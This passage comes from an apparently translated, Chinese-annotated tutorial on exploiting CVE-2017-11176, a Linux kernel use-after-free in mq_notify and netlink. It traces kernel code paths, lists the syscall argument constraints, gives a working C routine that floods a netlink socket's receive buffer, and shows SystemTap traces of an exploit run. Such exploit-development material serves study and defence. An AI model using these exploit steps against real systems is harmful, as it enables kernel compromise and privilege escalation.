(2853-2853) >>> mq_notify (4294967295, 0x7ffdc2f2f1b0)
(2853-2853) >>> copy_from_user()
(2853-2853) >>> alloc_skb (priority=? size=?)
(2853-2853) >>> copy_from_user()
(2853-2853) >>> skb_put (skb=0xffff88003e3c1e00 len=0x20)
(2853-2853) <<< skb_put = ffff880037398000
(2853-2853) >>> __fdget (fd=0x3)
(2853-2853) <<< __fdget = ffff880038cb1501
(2853-2853) >>> netlink_getsockbyfilp (filp=0xffff880038cb1500)
(2853-2853) <<< netlink_getsockbyfilp = ffff88003b8f9800
(2853-2853) >>> netlink_attachskb (sk=0xffff88003b8f9800 skb=0xffff88003e3c1e00 timeo=0xffff880036ad3f08 ssk=0x0)
(2853-2854) >>> __fdget (fd=?)
(2853-2854) >>> copy_from_user()
(2853-2854) >>> __fdget (fd=?)
(2853-2854) >>> copy_from_user()
(2853-2854) >>> __fdget (fd=0x4)
(2853-2854) <<< __fdget = ffff880038cb1501
(2853-2853) <<< netlink_attachskb = 1
(2853-2853) >>> __fdget (fd=0x3)
(2853-2853) <<< __fdget = 0
(2853-2853) >>> netlink_detachskb (sk=0xffff88003b8f9800 skb=0xffff88003e3c1e00)
(2853-2853) >>> kfree (objp=0xffff880037398000)
(2853-2853) >>> kfree (objp=0xffff88003b8f9800)
(2853-2853) <<< netlink_detachskb
-={ dump_netlink_sock: 0xffff88003b8f9800 }=-
- sk = 0xffff88003b8f9800
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 212992
- sk->sk_refcnt = 0
- nlk->state = 0
- sk->sk_flags = 100
- SOCK_DEAD = 0
-={ dump_netlink_sock: END}=-
(2853-2853) <<< mq_notify = fffffffffffffff7

Long story short: because of dup(), calling close() will not release a reference on netlink_sock object. It is the netlink_detachskb() that actually releases the last reference on netlink_sock (and frees it). In the end, the use-after-free is triggered during program exit, while releasing the “unblock_fd” file descriptor (in netlink_release()).

原文中触发了Kernel Panic,但是实际测试的时候并没有导致Kernel Panic,为了验证所使用的系统的正确性,使用了本文后续的poc进行验证,是能够导致Kernel Panic的,不知道本章节的exploit的问题在哪。

Looping back to “retry” label

来看下我们的待办事项:

  1. 强制netlink_attachskb()返回1
  2. [已完成]强制第二次fget()返回NULL
  3. [已完成]唤醒主线程

为了到达retry标签,就需要**netlink_attachskb()**返回1。唯一的办法就是需要满足下列条件并唤醒线程(这个条件已经满足):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);

[0] if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
{
// ... cut ...
return 1;
}
// normal path
return 0;
}

[0]的条件为True的要求:

  1. sk_rmem_alloc的值比sk_rcvbuf大,或者
  2. nlk->state的最低比特位被设置

我们现在所使用的办法是用STAP脚本强制修改nlk->state

1
2
3
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1;

但是实际中如果要这么设置,就只能让内核内存分配失败。这将会导致系统处于一个不稳定的状态从而影响我们的exploit。所以我们只能尝试增加sk_rmem_alloc的值,这个值用于表示“当前”sock的接收buf的大小。

Filling The Receive Buffer

在这一小节中,我们尝试满足第一个条件。满足这个条件意味着接收buf是否已满:

1
atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf

sock结构体(包含在netlink_sock结构体中)有以下属性:

  • sk_rcvbuf:理论上接收buf大小的最大值(字节数)
  • sk_rmem_alloc:当前接收buf的大小(字节数)
  • sk_receive_queue:”skb”双向链表 (i.e. network buffers)

NOTE:“理论上”的意思是,sk_rmem_alloc实际上是可以超过sk_rcvbuf的。

在Part 1中我们使用STAP输出了netlink sock结构:

1
2
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120

我们有两种办法来满足这个条件:

  1. 将sk_rcvbuf减到0一下(类型是int)
  2. 增加sk_rmem_alloc到133120以上

Lowering sk_rcvbuf

sk_rcvbuf在sock对象中十分常见,但netlink socket并没有很多地方对其值进行了修改。有一处就是sock_setsockopt(使用SOL_SOCKET可达)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    // from [net/core/sock.c]

int sock_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
int val;

// ... cut ...

case SO_RCVBUF:
[0] if (val > sysctl_rmem_max)
val = sysctl_rmem_max;
set_rcvbuf:
sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
[1] if ((val * 2) < SOCK_MIN_RCVBUF)
sk->sk_rcvbuf = SOCK_MIN_RCVBUF;
else
sk->sk_rcvbuf = val * 2;
break;

// ... cut (other options handling) ...
}

当见到诸如此类的代码时,注意每一个参数的类型

注意:A lot of bugs exist because of this “signed/unsigned type mixing”. The same goes when casting a bigger type (u64) to a smaller type (u32). This often leads to int overflow or type casting issues.

在上述代码中(可能因内核版本不一而不一样):

  • sk_rcvbuf: int
  • val: int
  • sysctl_rmem_max: __u32
  • SOCK_MIN_RCVBUF: “promoted” to size_t because of “sizeof()”

SOCK_MIN_RCVBUF定义如下:

1
#define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))

总而言之,当混合signed int和unsigned int时,signed int会被转换为unsigned int。

WARNING:不同的编译器可能有不同的策略,以汇编为准。

让我们来考虑将一个负值传递给val,代码运行至[0],它会被转化成无符号数(因为sysctl_rmem_max是__u32),所以val在这会被重置为sysctl_rmem_max。如果val不被转为__u32的话,将不会通过[1]处的检查。在最后,sk_rcvbuf的取值范围为[SOCK_MIN_RCVBUF, sysctl_rmem_max]。

所以我们只能操作sk_rmem_alloc来达到我们的目的。

注意:While developing an exploit you will meet this phenomenon: analyzing a lot of code paths that actually lead to nowhere. We wanted to expose it in this article.

Back to the “normal” path

现在是时候回到我们自本系列一直忽略的东西:mq_notify()的normal path。从概念上讲,当sock接收buffer已满时,存在“retry path”,因为normal path可能实际填充它。

在netlink_attachskb():

1
2
3
4
5
6
7
8
9
10
11
12
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
// ... cut (retry path) ...
}
skb_set_owner_r(skb, sk); // <----- what about this ?
return 0;
}

所以,normal path调用**skb_set_owner_r()**:

1
2
3
4
5
6
7
8
9
    static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
WARN_ON(skb->destructor);
__skb_orphan(skb);
skb->sk = sk;
skb->destructor = sock_rfree;
[0] atomic_add(skb->truesize, &sk->sk_rmem_alloc); // sk->sk_rmem_alloc += skb->truesize
sk_mem_charge(sk, skb->truesize);
}

是的,skb_set_owner_r()使用skb->truesize增加sk_rmem_alloc。所以,我们是否可以多次调用mq_notify()直到接收buffer装满?不幸的是我们没办法简单的达成这件事。

在mq_notify()的normal path中,在函数的开头创建了一个skb(被称为cookie),并使用netlink_attachskb()附加到netlink_sock,我们之前已经介绍过了。netlink_sock和skb都与属于消息队列的mqueue_inode_info结构相关。

问题是,一次只能有一个cookie “skb”与mqueue_inode_info结构相关联。也就是说,第二次调用mq_notify()将失败并显示“-EBUSY”错误。换句话说,我们只能增加sk_rmem_alloc大小一次(对于给定的消息队列),这是不够(只有32个字节)使它大于sk_rcvbuf。

我们实际上可能创建多个消息队列,因此拥有多个mqueue_inode_info对象并多次调用mq_notify()。或者,我们也可以使用mq_timedsend()系统调用将消息推送到队列中。 因为我们不想研究另一个子系统(mqueue),并且坚持使用“通用”内核路径(sendmsg),所以我们不会这样做。虽然这可能是一个很好的锻炼。

NOTE: There are always multiple ways to code an exploit.

虽然我们不会采用mq_notify()的normal path,但它仍然暴露了一件重要的事情:我们可以使用skb_set_owner_r(),也就是netlink_attachskb()增加sk_rmem_alloc。

在skb_set_owner_r()的帮助下,netlink_attachskb()可能会增加sk_rmem_alloc的值。netlink_attachskb()同样由**netlink_unicast()**调用。让我们自下而上来分析下如何通过系统调用到达netlink_unicast():

1
2
3
4
5
6
7
8
9
10
- skb_set_owner_r
- netlink_attachskb
- netlink_unicast
- netlink_sendmsg // there is a lots of "other" callers of netlink_unicast
- sock->ops->sendmsg()
- __sock_sendmsg_nosec()
- __sock_sendmsg()
- sock_sendmsg()
- __sys_sendmsg()
- SYSCALL_DEFINE3(sendmsg, ...)

因为**netlink_sendmsg()**是netlink sockets的一个操作原型,所以我们可以通过sendmsg()系统调用到达它。

从sendmsg()系统调用到sendmsg的proto_ops(sock->ops->sendmsg())的通用代码路径将在第3部分的更深入地介绍。现在,让我们假设我们可以毫不费力地访问netlink_sendmsg()。

sendmsg()系统调用:

1
ssize_t sendmsg(int sockfd, const struct msghdr *msg, int flags);

到达netlink_unicast()需要把msgflags设置为合适的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct msghdr {
void *msg_name; /* optional address */
socklen_t msg_namelen; /* size of address */
struct iovec *msg_iov; /* scatter/gather array */
size_t msg_iovlen; /* # elements in msg_iov */
void *msg_control; /* ancillary data, see below */
size_t msg_controllen; /* ancillary data buffer len */
int msg_flags; /* flags on received message */
};

struct iovec
{
void __user *iov_base;
__kernel_size_t iov_len;
};

在本节中,我们将从代码中推断出合适的参数值,并逐步建立我们的“约束”列表。这样做会使内核执行我们想要的路径。内核利用实际上就是这个意思。 这里,对netlink_unicast()的调用位于最后,所以我们需要通过(或跳过)所有检查……

开始吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,
struct msghdr *msg, size_t len)
{
struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
struct sockaddr_nl *addr = msg->msg_name;
u32 dst_pid;
u32 dst_group;
struct sk_buff *skb;
int err;
struct scm_cookie scm;
u32 netlink_skb_flags = 0;

[0] if (msg->msg_flags&MSG_OOB)
return -EOPNOTSUPP;

[1] if (NULL == siocb->scm)
siocb->scm = &scm;

err = scm_send(sock, msg, siocb->scm, true);
[2] if (err < 0)
return err;

// ... cut ...

err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT); // <---- our target

out:
scm_destroy(siocb->scm);
return err;
}

标志位MSG_OOB不能被设置以通过[0]处的检查,因此第一个限制条件:msg->msg_flags MSG_OOB位为0

为了通过[1]处的检查,需要在*__sock_sendmsg_nosec()**中设置siocb->scm为NULL。最后,scm_send()*不能返回负值。代码:

1
2
3
4
5
6
7
8
9
10
11
static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
struct scm_cookie *scm, bool forcecreds)
{
memset(scm, 0, sizeof(*scm));
if (forcecreds)
scm_set_cred(scm, task_tgid(current), current_cred());
unix_get_peersec_dgram(sock, scm);
if (msg->msg_controllen <= 0) // <----- this need to be true...
return 0; // <----- ...so we hit this and skip __scm_send()
return __scm_send(sock, msg, scm);
}

因此,第二个限制条件:msg->msg_controllen (size_t) 为0。继续:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
      // ... netlink_sendmsg() continuation ...

[0] if (msg->msg_namelen) {
err = -EINVAL;
[1] if (addr->nl_family != AF_NETLINK)
goto out;
[2a] dst_pid = addr->nl_pid;
[2b] dst_group = ffs(addr->nl_groups);
err = -EPERM;
[3] if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))
goto out;
netlink_skb_flags |= NETLINK_SKB_DST;
} else {
dst_pid = nlk->dst_pid;
dst_group = nlk->dst_group;
}

// ... cut ...

好的,这个有点棘手。 此块取决于sender socket是否已连接到目标(receiver)socket。 如果是,则nlk-> dst_pid和nlk-> dst_group都已设置。由于我们不想连接到receiver socket(可能会有副作用),想采取第一个分支,那就要求**msg->msg_namelen必须不等于零[0]**。

如果我们回过头看函数一开始的地方,我们可以发现addr是另一个我们可以控制的参数:msg->msg_name。在[2a]和[2b]的帮助下,我们可以任意写入dst_group和dst_pid。控制这些允许我们:

  1. dst_group == 0:send a unicast message instead of broadcast (cf. man 7 netlink)
  2. dst_pid != 0:talk to the receiver socket (userland) of our choice. Zero meaning “talk to the kernel” (read the manual!).

Which we translate in the constraint list into (msg_name被转为sockaddr_nl):

  1. msg->msg_name->dst_group为0
  2. msg->msg_name->dst_pid等于”destination” socket nl_pid

但是,这意味着netlink_allowed(sock, NL_NONROOT_SEND) [3]不会返回0:

1
2
3
4
static inline int netlink_allowed(const struct socket *sock, unsigned int flag)
{
return (nl_table[sock->sk->sk_protocol].flags & flag) || capable(CAP_NET_ADMIN));
}

因为我们不是特权用户,所以没有CAP_NET_ADMIN标记位。唯一拥有NL_NONROOT_SEND标记位的netlink协议是NETLINK_USERSOCK。也就是说,sender socket必须使用NETLINK_USERSOCK协议

另外在[1]中,我们需要 msg->msg_name->nl_family等于AF_NETLINK

下一步:

1
2
3
4
5
[0]   if (!nlk->pid) {
[1] err = netlink_autobind(sock);
if (err)
goto out;
}

我们无法控制[0]处的检查,因为在socket创建期间,套接字的pid被设置为零(整个结构由sk_alloc()清零)。但netlink_autobind() [1]将为我们的sender socket找到“可用”pid并且它不会失败。在第二次调用sendmsg()时将跳过检查,此时将设置nlk->pid。下一个:

1
2
3
4
5
6
7
      err = -EMSGSIZE;
[0] if (len > sk->sk_sndbuf - 32)
goto out;
err = -ENOBUFS;
skb = alloc_skb(len, GFP_KERNEL);
[1] if (skb == NULL)
goto out;

在这,len在**__sys_sendmsg()**中被计算,这是所有iovec的长度和。所以,所有iovecs的总和必须小于sk-> sk_sndbuf减去32 [0]。为了简单起见,我们将使用单个iovec,就是:

  • msg->msg_iovlen等于1 // a single iovec
  • msg->msg_iov->iov_len小于等于sk->sk_sndbuf减去32
  • msg->msg_iov->iov_base需要用户态可读地址 // 否则__sys_sendmsg()会失败

最后一个限制是msg->msg_iov同样需要用户态可读地址(否则__sys_sendmsg()会失败)

NOTE:sk_sndbuf相当于sk_rcvbuf,但对于发送缓冲区,我们可以使用**sock_getsockopt()**选项SO_SNDBUF检索其值。

[1]处的检查几乎不会不通过,如果不通过意味着内核已经用尽了内存。

下一块代码可以忽略(没有通过任何检查的需求),siocb->scm结构体在scm_send()中初始化:

1
2
3
4
NETLINK_CB(skb).pid   = nlk->pid;
NETLINK_CB(skb).dst_group = dst_group;
memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
NETLINK_CB(skb).flags = netlink_skb_flags;

接着:

1
2
3
4
5
      err = -EFAULT;
[0] if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {
kfree_skb(skb);
goto out;
}

[0]处同样没有任何问题因为我们已经提供了可读的iovec,除非__sys_sendmsg()调用失败。

1
2
3
4
5
[0]   err = security_netlink_send(sk, skb);
if (err) {
kfree_skb(skb);
goto out;
}

这是LSM的检查。如果我们不能通过这个检查,就需要寻找其它途径到达netlink_unicast()或者另一种增加sk_rmem_alloc的方法(例如尝试netlink_dump())。我们假设我们通过了这个检查。

最后:

1
2
3
4
5
[0]   if (dst_group) {
atomic_inc(&skb->users);
netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);
}
[1] err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);

记住dst_group被赋值为msg->msg_name->dst_group。既然我们强制让他为0,我们能够跳过[0]处并最终到达netlink_unicast()。

让我们总结一下从netlink_sendmsg()到达netlink_unicast()的条件:

  • msg->msg_flags doesn’t have the MSG_OOB flag
  • msg->msg_controllen equals 0
  • msg->msg_namelen is different from zero
  • msg->msg_name->nl_family equals AF_NETLINK
  • msg->msg_name->nl_groups equals 0
  • msg->msg_name->nl_pid is different from 0 and points to the receiver socket
  • the sender netlink socket must use the NETLINK_USERSOCK protocol
  • msg->msg_iovlen equals 1
  • msg->msg_iov is a readable userland address
  • msg->msg_iov->iov_len is lesser than or equals to sk_sndbuf minus 32
  • msg->msg_iov->iov_base is a readable userland address

我们在这里看到的是内核开发者的工作。分析每个检查,强制执行特定的内核路径,定制系统调用参数等。实际上,分析这些条件的时间并不长。有些路径比这更复杂。

让我们继续前进,研究如何到达netlink_attachskb()。

netlink_unicast()有以下参数:

1
netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
  • sk is our sender netlink_sock
  • skb is a socket buffer filled with msg->msg_iov->iov_base data of size msg->msg_iov->iov_len
  • dst_pid is a controlled pid (msg->msg_name->nl_pid) pointing to our receiver netlink socket
  • msg->msg_flasg&MSG_DONTWAIT indicates if netlink_unicast() should block or not

WARNING: Inside the netlink_unicast() code “ssk” is the sender socket and “sk” the receiver.

netlink_unicast():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
u32 pid, int nonblock)
{
struct sock *sk;
int err;
long timeo;

skb = netlink_trim(skb, gfp_any()); // <----- ignore this

[0] timeo = sock_sndtimeo(ssk, nonblock);
retry:
[1] sk = netlink_getsockbypid(ssk, pid);
if (IS_ERR(sk)) {
kfree_skb(skb);
return PTR_ERR(sk);
}
[2] if (netlink_is_kernel(sk))
return netlink_unicast_kernel(sk, skb, ssk);

[3] if (sk_filter(sk, skb)) {
err = skb->len;
kfree_skb(skb);
sock_put(sk);
return err;
}

[4] err = netlink_attachskb(sk, skb, &timeo, ssk);
if (err == 1)
goto retry;
if (err)
return err;

[5] return netlink_sendskb(sk, skb);
}

[0]处,sock_sndtimeo()根据nonblock设置timeo(timeout)的值。因为我们不想阻塞(nonblock>0),timeo将会是0。所以msg->msg_flags必须设置MSG_DONTWAIT标志

[1]处,目标netlink_sock “sk”通过pid获取,正如我们将在下一节中看到的那样,在使用netlink_getsockbypid()检索之前,**需要绑定目标netlink_sock **。

[2]处,目标socket必须不是一个内核socket。一个netlink sock如果有NETLINK_KERNEL_SOCKET标志,它将被认为是内核的。这意味着它是通过netlink_kernel_create()函数创建的。不幸的是,NETLINK_GENERIC是他们的其中之一。所以我们也将receiver socket的协议更改为NETLINK_USERSOCK。请注意,receiver netlink_sock上有一个引用。( Note that a reference is taken on receiver netlink_sock)

[3]处,可能会有BPF sock过滤器被应用,如果没有为receiver sock创建任何BPF过滤器,那么这里可以跳过。

It means that it has been created with the netlink_kernel_create() function. Unfortunately, the NETLINK_GENERIC is one of them (from current exploit). So let’s change the receiver socket protocol to NETLINK_USERSOCK as well. It also makes more sense by the way… Note that a reference is taken on receiver netlink_sock.

接着就是[4]处调用netlink_attachskb()!在netlink_attachskb()中,我们保证采用其中一条路径:

  1. the receiver buffer is not full: call skb_set_owner_r() -> increase sk_rmem_alloc
  2. the receiver buffer is full: netlink_attachskb() do not block and return -EAGAIN (timeout is zero)

也就是说,我们有办法知道接收缓冲区何时已满(只需检查sendmsg()的错误代码)。

最后,[5]处调用netlink_sendskb()将skb添加到receiver buffer列表并删除netlink_getsockbypid()的引用。

条件限制:

  • msg->msg_flags has the MSG_DONTWAIT flag set
  • the receiver netlink socket must be bound prior calling sendmsg()
  • the receiver netlink socket must use the NETLINK_USERSOCK protocol
  • don’t define any BPF filter for the receiver socket

我们现在非常接近最终的PoC,我们只需要绑定接收器套接字。

Binding the receiver socket

与任何socket通信一样,两个socket可以使用“地址”进行通信。由于我们正在操作netlink socket,我们将使用struct sockaddr_nl类型:

1
2
3
4
5
6
struct sockaddr_nl {
sa_family_t nl_family; /* AF_NETLINK */
unsigned short nl_pad; /* Zero. */
pid_t nl_pid; /* Port ID. */
__u32 nl_groups; /* Multicast groups mask. */
};

由于我们不想成为broadcast group的一部分,因此nl_groups必须为零。这里唯一重要的字段是nl_pid。

基本上,**netlink_bind()**有两条路径:

  1. nl_pid is not zero: it calls netlink_insert()
  2. nl_pid is zero: it calls netlink_autobind(), which in turn calls netlink_insert()

请注意,使用已使用的pid调用netlink_insert()将失败,并显示错误-EADDRINUSE。 否则,在nl_pid和netlink sock之间创建映射。也就是说,现在可以使用netlink_getsockbypid()检索netlink sock。此外,netlink_insert()将sock引用计数器增加1。请记住这件事情。

注意:第4部分将详细介绍netlink如何存储“pid:netlink_sock”映射。

虽然调用netlink_autobind()看起来更自然,但我们实际上是通过遍历pid值(这是autobind做的)直到bind()成功。直接设置nl_pid允许我们直接获取目标nl_pid值而不调用getsockname(),并且(可能)简化调试。

Putting It All Together

分析所有这些路径都需要很长的时间,但是我们现在已经准备好在exploit中实施它并最终实现我们的目标:让netlink_attachskb()返回1

一些策略:

  1. 使用NETLINK_USERSOCK协议创建两个AF_NETLINK socket
  2. 绑定目标(receiver)socket(即必须使其接收缓冲区已满的socket)
  3. [可选]尝试减少目标socket的接收缓冲区(减少对sendmsg()的调用)
  4. 通过sender socket中的*sendmsg()*填充目标socket,直到它返回EAGAIN
  5. 关闭sender socket(不再需要它了)

你可以独立运行以下代码,以验证一切正常:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
static int prepare_blocking_socket(void)
{
int send_fd;
int recv_fd;
char buf[1024*10]; // should be less than (sk->sk_sndbuf - 32), you can use getsockopt()
int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = 118, // must different than zero
.nl_groups = 0 // no groups
};

struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};

struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};

printf("[ ] preparing blocking netlink socket\n");

if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
{
perror("socket");
goto fail;
}
printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

// simulate netlink_autobind()
while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
{
if (errno != EADDRINUSE)
{
perror("[-] bind");
goto fail;
}
addr.nl_pid++;
}

printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
else
printf("[+] receive buffer reduced\n");

printf("[ ] flooding socket\n");
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0) // <----- don't forget MSG_DONTWAIT
;
if (errno != EAGAIN) // <----- did we failed because the receive buffer is full ?
{
perror("[-] sendmsg");
goto fail;
}
printf("[+] flood completed\n");

_close(send_fd);

printf("[+] blocking socket ready\n");
return recv_fd;

fail:
printf("[-] failed to prepare block socket\n");
return -1;
}

让我们来看一下System Tap的返回结果。从这里开始,System Tap仅用来观察内核且不修改任何数据。输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
sunichi@debian:/mnt/hgfs/Ubuntu For Debug/cve$ ./exploit
[ ] -={ CVE-2017-11176 Exploit }=-
[ ] preparing blocking netlink socket
[+] socket created (send_fd = 3, recv_fd = 4)
[+] netlink socket bound (nl_pid=118)
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink socket created = 4
[+] netlink fd duplicated (unblock_fd=3, sock_fd2=5)
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
(1370-1370) >>> kfree (objp=0xffff88003c8b7200)
(1370-1370) >>> kfree (objp=0xffff88003c5d8300)
(1370-1370) >>> kfree (objp=0xffff88003c8b7400)
(1370-1370) >>> kfree (objp=0xffff88003c746d40)
(1370-1370) >>> kfree (objp=0x0)
(1370-1370) >>> kfree (objp=0xffff88003c980500)
(1370-1370) >>> fget (fd=0x3)
(1370-1370) <<< fget = ffff88003e3da100
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> fget (fd=0x3)
(1370-1370) <<< fget = ffff88003e3da800
(1370-1370) >>> fget (fd=0x3)
(1370-1370) <<< fget = ffff88003e3da800
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> fget (fd=0x3)
(1370-1370) <<< fget = ffff880020c1e800
(1370-1370) >>> fget (fd=0x3)
(1370-1370) <<< fget = ffff880020c1e800
(1370-1370) >>> copy_from_user()
(1370-1370) >>> copy_from_user()
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=0x4)
(1370-1370) <<< __fdget = ffff880020c1e600
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=0x4)
(1370-1370) <<< __fdget = ffff880020c1e600
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=0x3)
(1370-1370) <<< __fdget = ffff880020c1e700
(1370-1370) >>> copy_from_user()
(1370-1370) >>> copy_from_user()
(1370-1370) >>> copy_from_user()
(1370-1370) >>> skb_put (skb=0xffff88003d96cb00 len=0x2800)
(1370-1370) <<< skb_put = ffffc9000821f000
(1370-1370) >>> copy_from_user()
(1370-1370) >>> netlink_attachskb (sk=0xffff880037218000 skb=0xffff88003d96cb00 timeo=0xffff88003d8cfbd8 ssk=0xffff880037218800)
(1370-1370) <<< netlink_attachskb = 0
(1370-1370) >>> __fdget (fd=0x3)
(1370-1370) <<< __fdget = ffff880020c1e700
(1370-1370) >>> copy_from_user()
(1370-1370) >>> copy_from_user()
(1370-1370) >>> copy_from_user()
(1370-1370) >>> skb_put (skb=0xffff88003d96c500 len=0x2800)
(1370-1370) <<< skb_put = ffffc90008223000
(1370-1370) >>> copy_from_user()
(1370-1370) >>> netlink_attachskb (sk=0xffff880037218000 skb=0xffff88003d96c500 timeo=0xffff88003d8cfbd8 ssk=0xffff880037218800)
(1370-1370) >>> kfree (objp=0xffff88003c5d8ca0)
(1370-1370) >>> kfree (objp=0xffff88003c884340)
(1370-1370) <<< netlink_attachskb = fffffffffffffff5
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> kfree (objp=0x0)
(1370-1370) >>> kfree (objp=0xffff880037218800)
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1371) >>> copy_from_user()
(1370-1371) >>> copy_from_user()
(1370-1371) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> __fdget (fd=?)
(1370-1370) >>> copy_from_user()


(1370-1370) >>> mq_notify (4294967295, 0x7fffff6932f0)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> alloc_skb (priority=? size=?)
(1370-1370) >>> copy_from_user()
(1370-1370) >>> skb_put (skb=0xffff88003d96c500 len=0x20)
(1370-1370) <<< skb_put = ffff88003c8b7400
(1370-1370) >>> __fdget (fd=0x4)
(1370-1370) <<< __fdget = ffff880020c1e601
(1370-1370) >>> netlink_getsockbyfilp (filp=0xffff880020c1e600)
(1370-1370) <<< netlink_getsockbyfilp = ffff880037218000
(1370-1370) >>> netlink_attachskb (sk=0xffff880037218000 skb=0xffff88003d96c500 timeo=0xffff88003d8cff08 ssk=0x0)
[unblock] closing 4 fd
[unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
(1370-1371) >>> __fdget (fd=?)
(1370-1371) >>> copy_from_user()
(1370-1371) >>> __fdget (fd=?)
(1370-1371) >>> copy_from_user()
(1370-1371) >>> __fdget (fd=0x3)
(1370-1371) <<< __fdget = ffff880020c1e601
(1370-1370) <<< netlink_attachskb = 1
(1370-1370) >>> __fdget (fd=0x4)
(1370-1370) <<< __fdget = 0
(1370-1370) >>> netlink_detachskb (sk=0xffff880037218000 skb=0xffff88003d96c500)
(1370-1370) >>> kfree (objp=0xffff88003c8b7400)
